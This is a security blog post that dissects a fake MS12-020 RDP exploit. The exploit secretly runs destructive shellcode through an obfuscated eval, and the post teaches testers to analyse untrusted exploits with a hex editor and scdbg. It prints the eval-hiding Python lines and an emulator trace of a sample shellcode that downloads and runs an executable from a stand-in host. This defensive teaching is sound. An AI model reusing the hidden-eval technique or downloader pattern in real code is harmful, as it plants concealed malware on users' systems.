Breaking

Untrusted code or why exploit code should only be executed by professionals

In march 2012 Microsoft announced a critical vulnerability (Microsoft Security Bulletin MS12-020) related to RDP that affects all windows operating systems and allows remote code execution. A lot of security professionals are expecting almost the same impact as with MS08-067 (the conficker vulnerability) and that it will be only a matter of time, until we will spot reliable exploits in the wild. Only a few days later an exploit, working for all unpatched windows versions was released, so it seems that they were right ;-), but of course no one will run an exploit without investigating the code. So lets have a look into the exploit Code.

First we take a look into the Microsoft advisory to get some information about the vulnerability itself:

The vulnerability requires some “specifically crafted RDP packets” to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:

OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:

The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:

We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the “specifically crafted RDP packets” are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over ;-).

We have verified the exploit, so it’s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there …

…JUST KIDDING, never ever do that and I’m not talking about the legal issues this time ;-). It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let’s digg a little bit deeper into this.

First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more 😉 ) built-in. It’s a commercial tool called “010 Editor” that can be obtained here and is available as a windows and MAC OS X version.

Step 1
Copy just the trigger opcodes into a dedicated text file, don’t forget to remove the double quotes. The text files should look almost like this:

trigger:

and shellcode:

Step 2
Use the editors replace function to replace “\x” with “0x” for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:

Step 3
Mark all this hex data and copy it to the clipboard.

Step 4
Choose “File-New-New Hex File” from the “010 Editors” menu to create an empty hex file.

Step 5
Now choose “Edit-Paste From-Paste from Hex Text” to paste the data as hex data into the new hex file.

Step 6
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc

Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part ;-):

Yes, it looks like the shellcode doesn’t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.

This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:

def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __import__("__builtin__").__dict__
self.shellcode = shellcode

and then executed using this code:

seeker = (struct.pack(">I", 0x6576616c)
...
read = self.table[seeker[0]]
return str(read(shellcode)), parsed

But in case that the shellcode wouldn’t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it here.

Let us see how SCDBG works with a short example shellcode:
scdbg -f UrlDownloadToFile.sc
Loaded 150 bytes from file UrlDownloadToFile.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40104bLoadLibraryA(urlmon)
40107aGetTempPath(len=104, buf=12fce4)
4010b2URLDownloadToFile(http://blahblah.com/evil.exe0, C:\%TEMP%\dEbW.exe)
4010bdWinExec(c:\%TEMP%\dEbW.exe)
4010cbExitProcess(626801251)

Stepcount 293883

So the example shellcode downloads a malicious file and executes it, let’s have a look at our shellocde now:
scdbg -f shellcode.sc
Loaded 10d bytes from file shellcode.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
401002opcode 69 not supported

Stepcount 2

SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn’t run it.

Lessons learned

So finally, let’s summarize some lessons that every serious penetration tester should be aware of:

1. Never run any untrusted code (especially exploits) without a detailed analysis.
2. Ensure that you understand every line of code and this also includes the shellcode.
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).
4. When using exploits on customer systems be aware that you’re running it on one of the assets of your customer! Don’t do that without your customers permission!
5. Your customer trusts your professional knowledge, so it’s your responsibility to avoid damaging any of your customers systems by mistake.

So happy practicing and enjoy your week 😉

Michael

Comments

  1. Hi Michael,

    Excellent post. I can’t believe anyone would be crazy enough to run a ‘sploit on anything but a test network (at least initially).

    A colleague of mine is a rather incompetent IT help desk worker. He ran into an issue with Windows Terminal Server licensing and decided that – rather than ringing Microsoft and fixing the issue (the company had the required licenses!) – he would instead download a crack from bittorrent and “see if that worked”.

    I got his admission over dinner that he had managed to infect their terminal server with a dropper which proceeded to download a series of Trojans. Most were stopped by the a/v but one didn’t, which put a “ransom” request on every remote user’s profile. Yup, any user logging in had their shell changed from explorer.exe to whatever the ransomware was, along with some broken English that to get their system back they would need to pay.

    He quickly fixed it, but I asked him “what if it was worse?” and he shrugged his shoulders. This was a big company and even this few hours of downtime has cost them big money. Not only that but they may be obliged to announce the compromise as per disclosure law.

    Naturally he admitted to nothing (a consummate professional) but I figured I would share my story. There are far too many people who will happily risk customer assets without considering the consequences.

Leave a Reply

Your email address will not be published. Required fields are marked *